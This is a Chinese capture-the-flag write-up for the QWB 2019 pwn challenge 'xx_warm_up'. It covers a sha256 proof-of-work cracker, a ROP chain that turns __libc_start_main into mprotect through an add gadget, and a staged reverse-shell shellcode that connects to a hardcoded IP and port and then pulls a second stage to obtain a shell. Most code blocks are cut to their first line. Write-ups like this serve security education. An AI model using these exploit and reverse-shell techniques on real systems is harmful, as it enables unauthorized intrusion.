强网杯2019 pwn xx_warm_up writeup
TOC
主要考验的是选手构造ROP链的能力,题目当时没做出来,所以环境仅仅是根据赛时服务器行为搭建的。
源程序、相关文件下载:xx_warm_up.zip 。
分析
拿到题目之后,先是一个Python文件。
pow.py
#!/usr/bin/python -u |
这里需要我们进行简单的sha256
爆破,下面是爆破脚本。
// compiled: gcc -O3 -pthread crack.c sha256.c -o crack |
sha256
源码来自:https://github.com/ilvn/SHA256 。
xx_warm_up
int __cdecl main(int a1, char **argv) |
标准的栈溢出,而且我们只可以注入一次payload,payload的长度最大128,link_map
也被置0了,这意味着我们不能使用ret2dl-resolve
。
而且程序没有交互性,只读取一次payload,返回一次输出流,所以我们只能用128byte的payload来打穿,而且实际靶机把flag藏了起来,需要我们手动找出来。
思路
- 构造ROP链修改 __libc_start_main 为 mprotect
- 执行反向shellcode
- 查找flag
__libc_start_main -> mprotect
原理是用ROPgadget
深度搜索的时候,找到了两条比较bug的指令。
# 0x08048436 : add dword ptr [ebx + 0x453bfc45], ecx ; adc byte ptr [esi - 0x70], bh ; leave ; ret |
可以利用上面的指令,直接加上__libc_start_main
和mprotect
之间的差值,那么就可以调用mprotect
来执行shellcode。
buf_addr = 0x804a040 |
反向shellcode
总共128byte
的payload,上面已经用掉了64个byte
,那么就是说我们只能填充64byte
的反向shellcode,这对于反向shellcode来说很难。
这里我用了一个思路,先只打开socket
的输入流,输出流之后在注入二次shellcode
再打开,这样payload会短很多,而且第一次不执行execve
,而是继续读二次shellcode
,然后通过二次shellcode
来拿shell
,这样payload又会变短,最后我们只需要58byte
的shellcode就能完成上面的操作,满足了64byte
的要求。
反向shellcode:
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP) |
0x3740e76f
为ip,0xcaea
为端口。
查找flag
连上shell
之后,查找flag
就会变得很方便。
完整脚本
#!/usr/bin/python2 |
二次shellcode
;// dup2(soc, 1) |
远程脚本
#!/usr/bin/python |
运行实例
本机:
ex@Ex:~/test$ ./exp.py |
服务器:
python ./control.py |
总结
这道题目当时我已经已经打穿本地,没想到出题方把flag藏了起来,难怪打不穿靶机,不过反向shellcode对于这种没有交互性的程序还是很实用的。